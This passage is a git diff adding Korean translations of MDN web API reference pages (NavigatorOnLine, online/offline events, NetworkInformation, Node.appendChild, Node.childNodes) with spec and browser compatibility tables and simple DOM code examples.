+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{ SpecName('HTML5.1', '#dom-navigator-language', 'NavigatorLanguage.language') }}</td>
+   <td>{{ Spec2('HTML5.1') }}</td>
+   <td>Initial definition</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Edge</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatVersionUnknown}}<sup>[1]</sup></td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoDesktop("1.0")}}<sup>[2]</sup><br>
+    {{CompatGeckoDesktop("5.0")}}<sup>[3]</sup></td>
+   <td>11.0<sup>[4]</sup></td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+  <tr>
+   <td>on {{domxref("WorkerNavigator")}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatGeckoDesktop("35")}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Edge</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoMobile(1.0)}}</td>
+   <td>{{CompatNo}}<sup>[4]</sup></td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+  <tr>
+   <td>on {{domxref("WorkerNavigator")}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatGeckoDesktop("35")}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p>[1] Returns the browser UI language, not the value of the <code>Accept-Language</code> <a href="/en-US/docs/Web/HTTP/Headers">HTTP header</a>.</p>
+
+<p>[2] Prior to Gecko 2.0 {{geckoRelease("2.0")}}, this property's value was also part of the user agent string, as reported by {{domxref("window.navigator.userAgent", "navigator.userAgent")}}.</p>
+
+<p>[3] Starting in Gecko 5.0 {{geckoRelease("5.0")}}, this property's value is based on the value of the <code>Accept-Language</code> <a href="en-US/docs/Web/HTTP/Headers">HTTP header</a>.</p>
+
+<p>[4] Closest available (non-standard) properties are <code><a href="http://msdn.microsoft.com/en-us/library/ie/ms534713.aspx">userLanguage</a></code> and <code><a href="http://msdn.microsoft.com/en-us/library/ie/ms533542.aspx">browserLanguage</a></code>.</p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li>{{domxref("NavigatorLanguage.languages", "navigator.languages")}}</li>
+ <li>{{domxref("navigator")}}</li>
+</ul>
diff --git a/files/ko/web/api/navigatoronline/index.html b/files/ko/web/api/navigatoronline/index.html
new file mode 100644
index 0000000000..9c61e0f858
--- /dev/null
+++ b/files/ko/web/api/navigatoronline/index.html
@@ -0,0 +1,63 @@
+---
+title: NavigatorOnLine
+slug: Web/API/NavigatorOnLine
+tags:
+  - API
+  - HTML-DOM
+translation_of: Web/API/NavigatorOnLine
+---
+<p>{{APIRef("HTML DOM")}}</p>
+
+<p>The <code><strong>NavigatorOnLine</strong></code> interface contains methods and properties related to the connectivity status of the browser.</p>
+
+<p>There is no object of type <code>NavigatorOnLine</code>, but other interfaces, like {{domxref("Navigator")}} or {{domxref("WorkerNavigator")}}, implement it.</p>
+
+<h2 id="Properties">Properties</h2>
+
+<p><em>The <code>NavigatorOnLine</code></em><em> interface doesn't inherit any property.</em></p>
+
+<dl>
+ <dt>{{domxref("NavigatorOnLine.onLine")}} {{readonlyInline}}</dt>
+ <dd>Returns a {{domxref("Boolean")}} indicating whether the browser is working online.</dd>
+</dl>
+
+<h2 id="Methods">Methods</h2>
+
+<p><em>The </em><em><code>NavigatorOnLine</code></em><em> interface neither implements, nor inherit any method.</em></p>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', '#navigatoronline', 'NavigatorOnLine')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td>No change from the latest snapshot, {{SpecName('HTML5 W3C')}}</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5 W3C', '#navigatoronline', 'NavigatorOnLine')}}</td>
+   <td>{{Spec2('HTML5 W3C')}}</td>
+   <td>Snapshot of {{SpecName('HTML WHATWG')}} with its initial specification.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+
+
+<p>{{Compat("api.NavigatorOnLine")}}</p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li>The {{domxref("Navigator")}} interface that implements it.</li>
+ <li><a href="/en-US/docs/Web/API/NavigatorOnLine/Online_and_offline_events">Online and offline events</a></li>
+</ul>
diff --git a/files/ko/web/api/navigatoronline/online_and_offline_events/index.html b/files/ko/web/api/navigatoronline/online_and_offline_events/index.html
new file mode 100644
index 0000000000..0869f15f6d
--- /dev/null
+++ b/files/ko/web/api/navigatoronline/online_and_offline_events/index.html
@@ -0,0 +1,107 @@
+---
+title: Online and offline events
+slug: Web/API/NavigatorOnLine/Online_and_offline_events
+tags:
+  - AJAX
+  - DOM
+  - Web Development
+translation_of: Web/API/NavigatorOnLine/Online_and_offline_events
+---
+<p>In progress {{ Fx_minversion_header(3) }} <a href="ko/Firefox_3_for_developers">Firefox 3</a>는 <a class="external" href="http://www.whatwg.org/specs/web-apps/current-work/">WHATWG 웹 애플리케이션 1.0 명세</a>에 기술된 <a class="external" href="http://www.whatwg.org/specs/web-apps/current-work/#offline">온라인/오프라인 이벤트</a>를 구현합니다.</p>
+
+<h3 id=".EA.B0.9C.EC.9A.94" name=".EA.B0.9C.EC.9A.94">개요</h3>
+
+<p>좋은 오프라인 가능(offline-capable) 웹 애플리케이션을 작성하려면 여러분의 애플리케이션이 실제로 오프라인이 되는 때를 알아야 합니다. 덧붙여, 여러분의 애플리케이션이 '온라인' 상태로 돌아오는 때도 알아야 합니다. 사실, 이 요구사항은 다음과 같이 정리할 수 있습니다.</p>
+
+<ol>
+ <li>여러분이 서버와 재동기화할 수 있도록 사용자가 온라인으로 돌아오는 때를 알아야 합니다.</li>
+ <li>여러분의 서버 요청을 나중에 처리하기 위해 대기시킬 수 있도록 사용자가 오프라인이 되는 때를 알아야 합니다.</li>
+</ol>
+
+<p>온라인/오프라인 이벤트는 이 과정을 단순하게 만드는 것을 도와줍니다.</p>
+
+<p>여러분의 웹 애플리케이션은 특정 문서가 오프라인 자원 캐시에 보관되는 것을 확실하게 할 필요도 있습니다. 이를 위해서는 다음과 같이 <code>HEAD</code> 섹션에 <code>LINK</code> 요소를 포함합니다.</p>
+
+<pre class="eval"><span class="nowiki">&lt;link rel="offline-resource" href="myresource"&gt;</span>
+</pre>
+
+<p>이는 Firefox 3 및 이후 버전에서 HTML을 처리할 때, 참조하는 자원을 오프라인에서 사용할 수 있도록 특별한 오프라인 자원 캐시에 저장하도록 합니다.</p>
+
+<h3 id="API" name="API">API</h3>
+
+<h4 id="navigator.onLine" name="navigator.onLine"><code>navigator.onLine</code></h4>
+
+<p><code><a href="ko/DOM/window.navigator.onLine">navigator.onLine</a></code>는 <code>true</code>/<code>false</code>(온라인은 <code>true</code>, 오프라인은 <code>false</code>)를 보관하는 속성입니다. 이 속성은 사용자가 해당 메뉴 항목(파일 -&gt; 오프라인 작업)을 선택하여 "오프라인 모드"로 전환할 때마다 갱신됩니다.</p>
+
+<p>또한 이 속성은 브라우저가 네트워크에 더 이상 연결할 수 없을 때마다 갱신됩니다. 명세에 따르면:</p>
+
+<blockquote cite="http://www.whatwg.org/specs/web-apps/current-work/#offline">사용자가 링크를 따라가거나 스크립트가 원격 페이지를 요청할 때 사용자 에이전트가 네트워크에 접속할 수 없으면 (혹은 그러한 시도가 실패할 것이라는 것을 안다면) <code>navigator.onLine</code> 속성은 false를 반환해야 합니다...</blockquote>
+
+<p>Firefox 2는 윈도우와 리눅스에서 브라우저의 온라인/오프라인 모드가 바뀔 때와 네트워크가 끊어지거나 다시 접속될 때 이 속성을 갱신합니다.</p>
+
+<p>이 속성은 Firefox와 Internet Explorer의 이전 버전에도 있으므로 (명세는 이러한 기존 구현을 바탕으로 합니다) 이를 즉시 사용할 수 있습니다. 네트워크 상태의 자동 감지는 Firefox 2에서 구현되었습니다.</p>
+
+<h4 id=".22online.22.EA.B3.BC_.22offline.22_.EC.9D.B4.EB.B2.A4.ED.8A.B8" name=".22online.22.EA.B3.BC_.22offline.22_.EC.9D.B4.EB.B2.A4.ED.8A.B8">"<code>online</code>"과 "<code>offline</code>" 이벤트</h4>
+
+<p><a href="ko/Firefox_3">Firefox 3</a>는 두 가지 새로운 이벤트를 도입하고 있습니다: 바로 "<code>online</code>"과 "<code>offline</code>"입니다. 이 두 가지 이벤트는 브라우저가 온라인과 오프라인 모드를 전환할 때 각 페이지의 <code>&lt;body&gt;</code>에서 발생합니다. 덧붙여, 이 이벤트는 <code>document.body</code>에서 <code>document</code>로 전달되고 <code>window</code>에서 끝납니다. 두 가지 이벤트 모두 취소 불가능한(non-cancellable) 이벤트입니다(여러분은 사용자가 온라인이 되거나 오프라인이 되는 것을 막을 수 없습니다).</p>
+
+<p>널리 알려진 몇 가지 방법으로 해당 이벤트에 대한 리스너(listener)를 등록할 수 있습니다.</p>
+
+<ul>
+ <li><code>window</code>, <code>document</code>, <code>document.body</code>에서 <code><a href="ko/DOM/element.addEventListener">addEventListener</a></code>를 이용</li>
+ <li>자바스크립트의 <code>Function</code> 개체에서 <code>document</code>나 <code>document.body</code>에 <code>.ononline</code> 혹은 <code>.onoffline</code> 속성을 설정 (<strong>참고:</strong> 호환성 때문에<code>window.ononline</code>이나 <code>window.onoffline</code>은 올바로 동작하지 않습니다.)</li>
+ <li>HTML 마크업의 <code>&lt;body&gt;</code> 태그에 <code>ononline="..."</code> 혹은 <code>onoffline="..."</code> 속성을 지정</li>
+</ul>
+
+<h3 id=".EC.98.88.EC.A0.9C" name=".EC.98.88.EC.A0.9C">예제</h3>
+
+<p>이벤트가 동작하는지 확인할 수 있는 <a class="link-https" href="https://bugzilla.mozilla.org/attachment.cgi?id=220609">간단한 테스트 케이스</a>가 있습니다. <span class="comment">XXX When mochitests for this are created, point to those instead and update this example -nickolay</span></p>
+
+<pre class="eval"> &lt;!doctype html&gt;
+ &lt;html&gt;
+ &lt;head&gt;
+   &lt;script&gt;
+     function updateOnlineStatus(msg) {
+       var status = document.getElementById("status");
+       var condition = navigator.onLine ? "ONLINE" : "OFFLINE";
+       status.setAttribute("class", condition);
+       var state = document.getElementById("state");
+       state.innerHTML = condition;
+       var log = document.getElementById("log");
+       log.appendChild(document.createTextNode("Event: " + msg + "; status=" + condition + "\n"));
+     }
+     function loaded() {
+       updateOnlineStatus("load");
+       document.body.addEventListener("offline", function () {
+         updateOnlineStatus("offline")
+       }, false);
+       document.body.addEventListener("online", function () {
+         updateOnlineStatus("online")
+       }, false);
+     }
+   &lt;/script&gt;
+   &lt;style&gt;...&lt;/style&gt;
+ &lt;/head&gt;
+ &lt;body onload="loaded()"&gt;
+   &lt;div id="status"&gt;&lt;p id="state"&gt;&lt;/p&gt;&lt;/div&gt;
+   &lt;div id="log"&gt;&lt;/div&gt;
+ &lt;/body&gt;
+ &lt;/html&gt;
+</pre>
+
+<h3 id=".EC.B0.B8.EA.B3.A0" name=".EC.B0.B8.EA.B3.A0">참고</h3>
+
+<ul>
+ <li><a class="external" href="http://www.whatwg.org/specs/web-apps/current-work/#offline">'Online/Offline events' section from the WHATWG Web Applications 1.0 Specification</a></li>
+ <li><a class="link-https" href="https://bugzilla.mozilla.org/show_bug.cgi?id=336359">The bug tracking online/offline events implementation in Firefox</a> and a <a class="link-https" href="https://bugzilla.mozilla.org/show_bug.cgi?id=336682">follow-up</a></li>
+ <li><a class="link-https" href="https://bugzilla.mozilla.org/attachment.cgi?id=220609">A simple test case</a></li>
+ <li><a class="external" href="http://ejohn.org/blog/offline-events/">An explanation of Online/Offline events</a></li>
+</ul>
+
+<p> </p>
+
+<p> </p>
+
+<div class="noinclude"> </div>
+
+<p>{{ languages( { "en": "en/Online_and_offline_events", "es": "es/Eventos_online_y_offline", "fr": "fr/\u00c9v\u00e8nements_online_et_offline", "ja": "ja/Online_and_offline_events", "pl": "pl/Zdarzenia_online_i_offline", "pt": "pt/Eventos_online_e_offline" } ) }}</p>
diff --git a/files/ko/web/api/networkinformation/connection/index.html b/files/ko/web/api/networkinformation/connection/index.html
new file mode 100644
index 0000000000..1afa39d9c1
--- /dev/null
+++ b/files/ko/web/api/networkinformation/connection/index.html
@@ -0,0 +1,105 @@
+---
+title: window.navigator.connection
+slug: Web/API/NetworkInformation/connection
+translation_of: Web/API/Navigator/connection
+---
+<p>{{ Apiref() }}</p>
+<p>{{ SeeCompatTable() }}</p>
+<h2 id="요약">요약</h2>
+<p><a href="/ko/docs/WebAPI/Network_Information" title="/en-US/docs/WebAPI/Network_Information">네트워크 정보 API</a>는 사용자 기기의 현재 대역폭이나 연결이 과금되는 지와 같은 정보를 알려줍니다. 이를 이용해서 사용자의 연결에 기반해서 높은 품질의 콘텐츠를 제공할지 낮은 품질의 콘텐츠를 제공할지 선택할 수 있습니다.</p>
+<h2 id="속성">속성</h2>
+<dl>
+ <dt>
+  {{domxref("window.navigator.connection.bandwidth", "connection.bandwidth")}} {{ReadOnlyInline}}</dt>
+ <dd>
+  현재 연결에 대한 다운로드 대역폭을 MB/s 단위의 double 형태로 알려줍니다. 사용자가 오프라인일 경우는 <code>0</code>이고 알 수 없을 경우에는 <code>infinity</code>로 나옵니다.</dd>
+ <dt>
+  {{domxref("window.navigator.connection.metered", "connection.metered")}} {{ReadOnlyInline}}</dt>
+ <dd>
+  연결이 과금이 되는 경우(예를 들어 pay-per-use) <code><a href="/ko/JavaScript/Reference/Global_Objects/Boolean" title="ko/JavaScript/Reference/Global_Objects/Boolean">Boolean</a></code> 형의 <code>true</code>가 반환됩니다.</dd>
+</dl>
+<h3 id="이벤트_핸들러">이벤트 핸들러</h3>
+<dl>
+ <dt>
+  {{domxref("window.navigator.connection.onchange", "connection.onchange")}}</dt>
+ <dd>
+  {{event("change")}} 이벤트에 대한 이벤트 핸들러 속성입니다. 연결 정보가 변경될 때 이벤트가 발생합니다.</dd>
+</dl>
+<div class="note">
+ <p><strong>주의:</strong> <code>connection</code> 객체는 이벤트를 다루기 위한 {{domxref("EventTarget.addEventListener","addEventListener")}} 메서드를 사용할 수 있는 {{domxref("EventTarget")}}을 상속받습니다.</p>
+</div>
+<h2 id="Specifications" name="Specifications">명세</h2>
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{ SpecName('Network Information', '', 'Network Information API') }}</td>
+   <td>{{ Spec2('Network Information') }}</td>
+   <td>Initial specification</td>
+  </tr>
+ </tbody>
+</table>
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+<p>{{ CompatibilityTable() }}</p>
+<div id="compat-desktop">
+ <table class="compat-table">
+  <tbody>
+   <tr>
+    <th>Feature</th>
+    <th>Chrome</th>
+    <th>Firefox (Gecko)</th>
+    <th>Internet Explorer</th>
+    <th>Opera</th>
+    <th>Safari</th>
+   </tr>
+   <tr>
+    <td>Basic support</td>
+    <td>20? {{ property_prefix("webkit") }}</td>
+    <td>12.0 {{ property_prefix("moz") }} (see notes)</td>
+    <td>{{ CompatNo() }}</td>
+    <td>{{ CompatNo() }}</td>
+    <td>{{ CompatNo() }}</td>
+   </tr>
+  </tbody>
+ </table>
+</div>
+<div id="compat-mobile">
+ <table class="compat-table">
+  <tbody>
+   <tr>
+    <th>Feature</th>
+    <th>Android</th>
+    <th>Firefox Mobile (Gecko)</th>
+    <th>IE Mobile</th>
+    <th>Opera Mobile</th>
+    <th>Safari Mobile</th>
+   </tr>
+   <tr>
+    <td>Basic support</td>
+    <td>{{ CompatNo() }}</td>
+    <td>12.0 {{ property_prefix("moz") }} (see notes)</td>
+    <td>{{ CompatNo() }}</td>
+    <td>{{ CompatNo() }}</td>
+    <td>{{ CompatNo() }}</td>
+   </tr>
+  </tbody>
+ </table>
+</div>
+<h3 id="Gecko_관련_내용">Gecko 관련 내용</h3>
+<ul>
+ <li>네트워크 API는 <code>dom.network.enabled</code> 설정을 통해 비활성화 할 수 있습니다.</li>
+ <li><code>metered</code> 속성은 기본값이 <code>false</code>이고 <code>dom.network.metered</code> 설정을 통해 설정할 수 있습니다(로밍시에 과금 상태로 설정하는 방법은 {{ bug("716943") }}를 참고하세요).</li>
+ <li>Gecko 12.0부터는 네트워크 API가 안드로이드 시스템에서만 사용할 수 있게 구현되어 있습니다. 리눅스({{ bug("712442") }})와 윈도우({{ bug("721306") }})에 대한 지원은 진행중입니다.</li>
+ <li>Gecko 14.0이전에는 <code>navigator.mozConnection</code>이 {{domxref("EventTarget")}}의 인스턴스가 아니어서 <code>addEventListener()</code>를 사용할 수 없었습니다. 이 문제는 해결되었습니다.</li>
+</ul>
+<h2 id="관련_내용">관련 내용</h2>
+<ul>
+ <li><a href="/ko/docs/WebAPI/Network_Information" title="/en-US/docs/WebAPI/Network_Information">Network Information API</a></li>
+ <li><a href="/ko/Online_and_offline_events" title="en/Online_and_offline_events">Online and offline events</a></li>
+</ul>
diff --git a/files/ko/web/api/networkinformation/index.html b/files/ko/web/api/networkinformation/index.html
new file mode 100644
index 0000000000..5bcdd84c8f
--- /dev/null
+++ b/files/ko/web/api/networkinformation/index.html
@@ -0,0 +1,90 @@
+---
+title: NetworkInformation
+slug: Web/API/NetworkInformation
+tags:
+  - API
+translation_of: Web/API/NetworkInformation
+---
+<div>{{APIRef("Network Information API")}}{{SeeCompatTable}}</div>
+
+<p>The <code><strong>NetworkInformation</strong></code> interface provides information about the connection a device is using to communicate with the network and provides a means for scripts to be notified if the connection type changes. The <code>NetworkInformation</code> interfaces cannot be instantiated. It is instead accessed through the <code>connection</code> property of the {{domxref("Navigator")}} interface.</p>
+
+<p>{{AvailableInWorkers}}</p>
+
+<h2 id="Properties">Properties</h2>
+
+<p><em>This interface also inherits properties of its parent, {{domxref("EventTarget")}}.</em></p>
+
+<dl>
+ <dd>
+ <ul>
+ </ul>
+ </dd>
+ <dt>{{domxref("NetworkInformation.downlink")}} {{readonlyinline}}</dt>
+ <dd>Returns the effective bandwidth estimate in megabits per second, rounded to the nearest multiple of 25 kilobits per seconds.</dd>
+ <dt>{{domxref("NetworkInformation.downlinkMax")}} {{readonlyinline}}</dt>
+ <dd>Returns the maximum downlink speed, in megabits per second (Mbps), for the underlying connection technology.</dd>
+ <dt>{{domxref("NetworkInformation.effectiveType")}} {{readonlyinline}}</dt>
+ <dd>Returns the effective type of the connection meaning one of 'slow-2g', '2g', '3g', or '4g'. This value is determined using a combination of recently observed round-trip time and downlink values.</dd>
+ <dt>{{domxref("NetworkInformation.rtt")}} {{readonlyinline}}</dt>
+ <dd>Returns the estimated effective round-trip time of the current connection, rounded to the nearest multiple of 25 milliseconds.</dd>
+ <dt>{{domxref("NetworkInformation.saveData")}} {{readonlyinline}}</dt>
+ <dd>Returns <code>true</code> if the user has set a reduced data usage option on the user agent.</dd>
+ <dt>{{domxref("NetworkInformation.type")}} {{readonlyinline}}</dt>
+ <dd>Returns the type of connection a device is using to communicate with the network. It will be one of the following values:
+ <ul>
+  <li><code>bluetooth</code></li>
+  <li><code>cellular</code></li>
+  <li><code>ethernet</code></li>
+  <li><code>none</code></li>
+  <li><code>wifi</code></li>
+  <li><code>wimax</code></li>
+  <li><code>other</code></li>
+  <li><code>unknown</code></li>
+ </ul>
+ </dd>
+</dl>
+
+<h3 id="Event_handlers">Event handlers</h3>
+
+<dl>
+ <dt>{{domxref("NetworkInformation.onchange")}}</dt>
+ <dd>The event that's fired when connection information changes and the {{event("change")}} is fired on this object.</dd>
+</dl>
+
+<h2 id="Methods">Methods</h2>
+
+<p><em>This interface also inherits methods of its parent, {{domxref("EventTarget")}}.</em></p>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('Network Information', '#-dfn-networkinformation-dfn-interface', 'NetworkInformation')}}</td>
+   <td>{{Spec2('Network Information')}}</td>
+   <td>Initial definition</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+
+
+<p>{{Compat("api.NetworkInformation")}}</p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/API/Network_Information_API">Network Information API</a></li>
+ <li><a href="/en-US/docs/Online_and_offline_events">Online and offline events</a></li>
+ <li>The {{domxref("Navigator")}} interface that implements it.</li>
+</ul>
diff --git a/files/ko/web/api/node/appendchild/index.html b/files/ko/web/api/node/appendchild/index.html
new file mode 100644
index 0000000000..991c1f6136
--- /dev/null
+++ b/files/ko/web/api/node/appendchild/index.html
@@ -0,0 +1,125 @@
+---
+title: Node.appendChild()
+slug: Web/API/Node/appendChild
+tags:
+  - 노드 붙이기
+  - 노드 이동
+  - 돔
+translation_of: Web/API/Node/appendChild
+---
+<div>{{APIRef("DOM")}}</div>
+
+<p><code><strong>Node.appendChild()</strong></code> 메소드는 한 노드를 특정 부모 노드의 자식 노드 리스트 중 마지막 자식으로 붙입니다. 만약 주어진 노드가 이미 문서에 존재하는 노드를 참조하고 있다면 <code>appendChild()</code> 메소드는 노드를 현재 위치에서 새로운 위치로 이동시킵니다. (문서에 존재하는 노드를 다른 곳으로 붙이기 전에 부모 노드로 부터 지워버릴 필요는 없습니다.)</p>
+
+<p>이것은 한 노드가 문서상의 두 지점에 동시에 존재할 수 없다는 것을 의미합니다. 그래서 만약 노드가 이미 부모를 가지고 있다면 우선 삭제되고 새로운 위치로 이동합니다. </p>
+
+<p>{{domxref("Node.cloneNode()")}} 메소드는 노드가 새로운 부모의 밑으로 붙기 전에 노드를 복제합니다.  <code>cloneNode 메소드로 만들어진 복사된 노드들은 자동적으로 문서에 적용되지 않는다는 것에 주의하세요</code>.</p>
+
+<p>이 메소드는 서로 다른 문서로 노드를 이동시키진 못합니다. 만약 노드를  다른 문서로 이동시키고 싶다면 {{domxref("document.importNode()")}} 메소드를 사용하셔야 합니다.</p>
+
+<h2 id="Syntax" name="Syntax">Syntax</h2>
+
+<pre class="syntaxbox">var <em>aChild</em> = <em>element</em>.appendChild(<em>aChild</em>);</pre>
+
+<p>이동한 자식 노드를 반환합니다.</p>
+
+<h2 id="Example" name="Example">Example</h2>
+
+<pre class="brush:js">// 새로운 단락 요소를 생성하고 문서에 있는 바디 요소의 끝에 붙입니다.
+var p = document.createElement("p");
+document.body.appendChild(p);</pre>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('DOM WHATWG', '#dom-node-appendchild', 'Node.appendChild()')}}</td>
+   <td>{{Spec2('DOM WHATWG')}}</td>
+   <td>No change from {{SpecName("DOM3 Core")}}.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM3 Core', 'core.html#ID-184E7107', 'Node.appendChild()')}}</td>
+   <td>{{Spec2('DOM3 Core')}}</td>
+   <td>No change from {{SpecName("DOM2 Core")}}.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM2 Core', 'core.html#ID-184E7107', 'Node.appendChild()')}}</td>
+   <td>{{Spec2('DOM2 Core')}}</td>
+   <td>No change from {{SpecName("DOM1")}}.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM1', 'level-one-core.html#ID-184E7107', 'Node.appendChild()')}}</td>
+   <td>{{Spec2('DOM1')}}</td>
+   <td>Initial definition.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoDesktop("1.0")}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoMobile("1.0")}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p> </p>
+
+<h2 id="See_also" name="See_also">See also</h2>
+
+<ul>
+ <li>{{domxref("Node.removeChild()")}}</li>
+ <li>{{domxref("Node.replaceChild()")}}</li>
+ <li>{{domxref("Node.insertBefore()")}}</li>
+ <li>{{domxref("Node.hasChildNodes()")}}</li>
+</ul>
diff --git a/files/ko/web/api/node/childnodes/index.html b/files/ko/web/api/node/childnodes/index.html
new file mode 100644
index 0000000000..b57a8eabc3
--- /dev/null
+++ b/files/ko/web/api/node/childnodes/index.html
@@ -0,0 +1,51 @@
+---
+title: element.childNodes
+slug: Web/API/Node/childNodes
+tags:
+  - DOM
+  - Gecko
+  - Gecko DOM Reference
+translation_of: Web/API/Node/childNodes
+---
+<p>{{ ApiRef() }}</p>
+<h3 id=".EC.9A.94.EC.95.BD" name=".EC.9A.94.EC.95.BD">요약</h3>
+<p><b>childNodes</b>는 주어진 요소의 자식 노드 모음(
+ <i>
+  collection</i>
+ )을 반환합니다.</p>
+<h3 id=".EA.B5.AC.EB.AC.B8.EA.B3.BC_.EA.B0.92" name=".EA.B5.AC.EB.AC.B8.EA.B3.BC_.EA.B0.92">구문과 값</h3>
+<pre class="eval">var <var>ndList</var> = elementNodeReference.childNodes;
+</pre>
+<p><var>ndList</var>는 현재 요소의 자식인 노드 개체의 순서 있는 모음입니다. 요소가 자식이 없으면, <var>ndList</var>는 아무 노드도 포함하지 않습니다.</p>
+<p><var>ndList</var>는 childNodes의 노드 목록을 저장하는 변수입니다. 그 목록은 <a class="external" href="http://www.w3.org/TR/2004/REC-DOM-Level-3-Core-20040407/core.html#ID-536297177">NodeList</a> 형입니다. childNodes 속성은 읽기 전용입니다.</p>
+<h3 id=".EC.98.88" name=".EC.98.88">예</h3>
+<pre>// parg는 &lt;p&gt; 요소 개체 참조
+if (parg.hasChildNodes())
+// 그래서, 먼저 개체가 찼는 지(자식 노드가 있는 지) 검사
+ {
+   var children = parg.childNodes;
+   for (var i = 0; i &lt; children.length; i++)
+   {
+   // children[i]로 각 자식에 무언가를 함
+   // 주의: 목록은 유효해(live), 자식 추가나 제거는 목록을 바꿈
+   };
+ };
+</pre>
+<pre>// This는 노드에서 모든 자식을 제거하는 한 방법
+// box는 자식 있는 요소 개체 참조
+while (box.firstChild)
+ {
+    //목록은 유효해서(LIVE) 호출마다 재배열(re-index)함
+    box.removeChild(box.firstChild);
+ };
+</pre>
+<h3 id=".EC.A3.BC.EC.9D.98" name=".EC.A3.BC.EC.9D.98">주의</h3>
+<p>노드 모음의 항목은 문자열이 아니라 개체입니다. 그 노드 개체에서 데이터를 얻으려면, 속성(예컨대 이름을 얻으려면 <code>elementNodeReference.childNodes{{ mediawiki.external(1) }}.nodeName</code> 등)을 써야 합니다.</p>
+<p><code>document</code> 개체는 자식이 둘입니다. Doctype 선언과 <code>HTML</code> 요소.</p>
+<h3 id=".EB.AA.85.EC.84.B8" name=".EB.AA.85.EC.84.B8">명세</h3>
+<ul>
+ <li><a class="external" href="http://www.w3.org/TR/2000/REC-DOM-Level-2-Core-20001113/core.html#ID-1451460987">W3C DOM 2 Core: childNodes</a></li>
